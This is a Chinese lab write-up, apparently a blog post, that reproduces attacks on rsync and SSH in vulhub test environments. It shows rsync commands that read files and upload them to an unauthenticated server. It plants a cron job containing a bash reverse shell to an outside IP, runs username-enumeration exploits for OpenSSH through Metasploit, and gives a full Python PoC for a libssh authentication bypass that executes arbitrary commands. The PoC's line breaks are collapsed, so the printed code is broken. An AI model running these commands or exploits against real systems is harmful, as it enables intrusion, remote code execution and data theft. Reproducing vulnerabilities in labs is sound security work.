当前位置: 首页 > news >正文

服务安全-应用协议rsync未授权ssh漏洞复现

目录

  • 服务攻防-应用协议rsync&ssh漏洞复现
    • 漏洞复现
      • 配置不当-未授权访问-rsync文件备份
      • OpenSSH 用户名枚举漏洞
      • libssh身份验证绕过漏洞

服务攻防-应用协议rsync&ssh漏洞复现

漏洞复现

配置不当-未授权访问-rsync文件备份

rsync默认端口:873

rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件 传输。

其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配 置ACL或访问密码,我们将可以读写目标服务器文件。

靶场:vulhub

或vulfocus

参考:rsync未授权访问

image-20231016163707397

开启环境:

image-20231016165531966

环境启动后,我们用rsync命令访问:

rsync rsync://your-ip:873/
//靶场映射了端口
rsync rsync://192.168.100.134:43983

可以查看模块名列表:

image-20231016165700612

访问列表:

rsync rsync://your-ip:873/src/
rsync rsync://192.168.100.134:43983/src

image-20231016165847772

发现这是一个Linux根目录,我们可以下载任意文件:

rsync -av rsync://your-ip:873/src/etc/passwd ./
rsync rsync://192.168.100.134:43983/src/etc/passwd ./

image-20231016170132298

还可以尝试上传:

将passwd文件上传到/src目录下
rsync ./passwd rsync://192.168.100.134:43983/src 查看验证:
rsync rsync://192.168.100.134:43983/src 

image-20231016170516659

由于靶场时间原因,重启靶场,继续实验:

可反弹shell:

//下载crond文件
rsync -av  rsync://192.168.100.134:39525/src/etc/crontab  ./

image-20231016173036022

点击查看:

image-20231016171902121

注意该行语句的含义:

表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令

17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly

创建一个shell文件并写入反弹shell命令:

#!/bin/bash 
/bin/bash -i >& /dev/tcp/192.168.100.146/6666 0>&1

image-20231016172118533

赋予执行权限:

chmod +x shell

将写好的shell文件上传至/etc/cron.hourly

rsync -av shell rsync://192.168.100.134:39525/src/etc/cron.hourly

image-20231016173103285

本地监听:

nc -lvvp 6666

等待反弹即可。

OpenSSH 用户名枚举漏洞

参考:CVE-2018-15473

OpenSSH 7.7前存在一个用户名枚举漏洞,通过该漏洞,攻击者可以判断某个用户名是否存在于目标主机中。

image-20231016175700267

开启环境:

image-20231016175735642

环境启动后,我们在客户端执行

ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@your-ip -p 20022,输入密码vulhub,即可登录到容器中。

image-20231016175846271

可直接使用exp进行利用:

exp链接:CVE-2018-15473-Exploit

python sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt your-ip

方法二:

还可以使用msf进行验证测试:

msfconsole	//开启msf
search ssh	//搜索
use 53
set rhosts 192.168.100.134
set rport 20022
set user_file "字典路径"
run

image-20231016180630536

配置详细信息:

image-20231016180703320

执行:

image-20231016180732669

执行发现,rootexamplevulhubnobody等用户是存在的用户。

libssh身份验证绕过漏洞

参考:libssh 服务端权限认证绕过漏洞

libssh是一个在客户端和服务器端实现SSHv2协议的多平台C库。在libssh的服务器端状态机中发现了一个逻辑漏洞。攻击者可以在认证成功之前发送MSG_USERAUTH_SUCCESS消息。它可以绕过身份验证并访问目标SSH服务器。

开启靶场环境:

image-20231016174551110

环境启动后,我们可以连接your-ip:2222端口(账号密码:myuser:mypassword

image-20231016174656312

利用:

参考:CVE-2018-10993

根据参考,可直接利用poc:

#!/usr/bin/env python3
import sys
import paramiko
import socket
import logginglogging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
bufsize = 2048def execute(hostname, port, command):sock = socket.socket()try:sock.connect((hostname, int(port)))message = paramiko.message.Message()transport = paramiko.transport.Transport(sock)transport.start_client()message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)transport._send_message(message)client = transport.open_session(timeout=10)client.exec_command(command)# stdin = client.makefile("wb", bufsize)stdout = client.makefile("rb", bufsize)stderr = client.makefile_stderr("rb", bufsize)output = stdout.read()error = stderr.read()stdout.close()stderr.close()return (output+error).decode()except paramiko.SSHException as e:logging.exception(e)logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")except socket.error:logging.debug("Unable to connect.")return Noneif __name__ == '__main__':print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))

执行验证:

python libssh_poc.py 192.168.100.134 2222 "id"
python libssh_poc.py 192.168.100.134 2222 "whoami"
python libssh_poc.py 192.168.100.134 2222 "touch /123.txt"
python libssh_poc.py 192.168.100.134 2222 "ls /"

image-20231016175010299

image-20231016175031664

成功创建:

image-20231016175139418

http://www.lryc.cn/news/195091.html

相关文章:

  • [环境搭建]OpenHarmony开发环境搭建
  • [牛客习题]“幸运的袋子”
  • 安科瑞预付费系统在某大型连锁农贸市场的设计应用
  • Spring Boot Bean 注入的常用方式教程
  • Java项目调用Python脚本(基于idea)
  • 前端 JS 经典:i,i++,++i区别
  • EF Core 7.0 新特性之批量修改
  • Vue_Bug error0308010Cdigital envelope routinesunsupported
  • 中科院提出“思维传播”,极大增强ChatGPT等模型复杂推理能力
  • ubuntu20.04安装opencv 3.2.0 报错
  • KubeVela交付
  • 【SpringCloud-10】SCA-nacos
  • 卡顿分析与布局优化
  • 【Vivado HLS Bug】Ubuntu环境下Vivado HLS导出IP报错:HLS ERROR: [IMPL 213-28]
  • 2022最新版-李宏毅机器学习深度学习课程-P14 批次(batch)与动量(momentum)
  • 谜题(Puzzle, ACM/ICPC World Finals 1993, UVa227)rust解法
  • acwing算法基础之数据结构--双链表
  • 将中文名格式化输出为英文名
  • 设计模式_迭代器模式
  • 【数据结构】:栈的实现
  • 微前端一:技术选型
  • FPGA project : flash_continue_write
  • 论文阅读:Rethinking Range View Representation for LiDAR Segmentation
  • 本地配置免费的https咋做?
  • 微信小程序框架---详细教程
  • 【LeetCode刷题(数组and排序)】:存在重复元素
  • 半导体产业链解析:晶圆厂、无晶圆厂与代工厂的比较与作用
  • Apipost一键压测已支持导入CSV文件
  • RabbitMQ的5种模式——再探RabbitMQ的模式,简单、工作,发布订阅(广播),路由、主题 页面分析
  • 初识华为云数据库GaussDB for openGauss